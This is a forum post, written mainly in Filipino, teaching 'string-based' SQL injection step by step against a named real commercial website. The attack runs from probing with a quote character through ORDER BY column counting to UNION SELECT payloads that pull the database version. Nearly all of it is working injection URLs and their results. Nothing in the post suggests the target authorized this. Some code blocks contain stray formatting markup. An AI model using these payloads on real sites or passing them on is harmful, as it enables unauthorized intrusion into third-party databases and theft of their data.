🔒 Closed -= string base sql injection =-

Status
Not open for further replies.

mervinp

Forum Veteran
-= STRiNG BaSe SQL InjecTion =-

NOTE:

Para lang ito sa may mga alam o marunong na sa UNION BASE SQL INJECTION...

Kung gusto niyong matutunan ang UNINION BASE SQLi visit kayo sa previous tutorial ko Click Here!!!

PARA SAAN ITONG STRING BASE SQL INJECTION?

Kapag may na encounter kang website na vulnerable naman siya sa SQL Injection...

Pero ng sinubukan mong ang command na "ORDER BY" no error or normal page pa rin ang lumalabas...


Ok, Let's start...

[ 1 ]

Target Site ko...

Code:
Code:
http://www.matrixinnovations.co.uk/products.php?id=6

Code
Code:
http://www.matrixinnovations.co.uk/products.php?id=6'

Ok vulnerable nga siya sa SQL Injection...

Kung titignan niyo sa larawan...

stringbase0001-1.webp

[ 2 ]

Ngayon dito na tayo gagamit ng "ORDER BY" para makuha kung ilang column... [alam niyo na ito hehehe]

Siguro naranasan na rin niyo...

Na kahit ilang beses na kayo nag-"ORDER BY" walang error pa rin ang lumalabs...

Parang ganito lang siya:

Code:
Code:
[/COLOR][/B][/B][/CENTER][/COLOR][/B][/B][/CENTER][/COLOR][/B][/B][/CENTER]
[B][B][COLOR=#000000]
[CENTER][B][B][COLOR=#000000]
[CENTER][B][B][COLOR=#000000]
[CENTER]
http://www.matrixinnovations.co.uk/products.php?id=6 ORDER BY 1--   [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=6 ORDER BY 20--   [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=6 ORDER BY 100--   [ NO ERROR PA RIN ]




stringbase0002.webp
stringbase0003.webp
stringbase0004.webp

Kahit nakaabot na ako sa "ORDER BY 100" no error o normal page pa rin...

Kaya ito ang sagot sa mga nai-istuck sa
"ORDER BY" syntax...

Itong tinatawag natin na STRING BASE SQL INJECTION...



[ 3 ]


May gagawin lang tayong pagbabago sa syntax...

Ma-aadd lang ng apostrophe [ ' ] sa may hulian ng numero... [ products.php?id=6' ]

At maglalagay naman tayo ng plus sign [ + ] sa hulian ng null [ -- ]... [ products.php?id=6' ORDER BY 1--+ ]


Ganito na ang magyayari sa syntax natin:

Code
Code:
http://www.matrixinnovations.co.uk/products.php?id=6' ORDER BY 1--+
Itong query wala pa rin tayo nakikitang error....

Mas ok nga yan...
stringbase0005.webp

[ 4 ]

Ngayon, pareho pa rin na syntax ang gagamitin natin...

Pero tataas na yung number niya...

Tulad nito:

Code:
Code:
http://www.matrixinnovations.co.uk/products.php?id=6' ORDER BY 100--+
Sa wakas may error na rin tayong nakuha...
stringbase0006-1.webp

[ 5 ]

Kukunin na natin ang number ng column...

NOTE:

HUWAG KALIMUTAN ULET YUNG HYPEN [ - ] BETWEEN SA EQUAL SIGN [ = ] AT NUMERO... [ products.php?id=-6' ]

Code:
Code:
Code:[/COLOR][/SIZE][/CENTER][/COLOR][/SIZE][/CENTER]
[SIZE=4][COLOR=rgb(0, 0, 0)]
[CENTER][SIZE=4][COLOR=rgb(0, 0, 0)]
[CENTER]http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 1--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 2--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 3--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 4--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 5--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 6--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 7--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 8--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 9--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 10--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 11--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 12--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 13--+ [ NO ERROR ]
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 14--+ [ ERROR! ]



Code:
Code:
http://www.matrixinnovations.co.uk/products.php?id=6' ORDER BY 13--+ [ NO ERROR ]
stringbase0007.webp

Code:
Code:
http://www.matrixinnovations.co.uk/products.php?id=-6' ORDER BY 14--+ [ ERROR! ]

stringbase0007A-1.webp
[ 6 ]

Ngayon lahat ng Injection na mangyayaring...

Same lahat doon sa UNION BASE SQLi...

Huwag lang niyo kakalimutan o tatagaling itong [ ' ] at [ + ] sa query...

Ok sample ako, kung paano kunin ang yung vulnerable column with STRING BASE SQLi...


Ganito siya:

Code:
Code:
http://www.matrixinnovations.co.uk/products.php?id=-6' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--+
stringbase0008-1.webp
[ 7 ]

Ganito naman sa SQL version:

Code:
Code:
http://www.matrixinnovations.co.uk/products.php?id=-6' UNION SELECT 1,@@VERSION,3,4,5,6,7,8,9,10,11,12,13--+
stringbase0009-1.webp
Ok, sa pagkuha ng mga DATABASE NAME's, TABLE NAME's etc...

Pareho lang sa UNION BASE...

Natapos na rin hehehe...


-= MY OTHER THREAD =-
https://phcorner.org/t/häçk-websites-via-union-based-sql-injection-beginners-guide.285937/

https://phcorner.org/t/faq-para-sa-mga-magsisimula-pa-lang-sa-web-hâckïng.286191/
 
Status
Not open for further replies.

About this Thread

  • 10
    Replies
  • 1K
    Views
  • 7
    Participants
Last reply from:
Unknown user

Trending Topics

Online now

Members online
1,159
Guests online
1,003
Total visitors
2,162

Forum statistics

Threads
2,274,016
Posts
28,953,117
Members
1,235,023
Latest member
marukorinka
Back
Top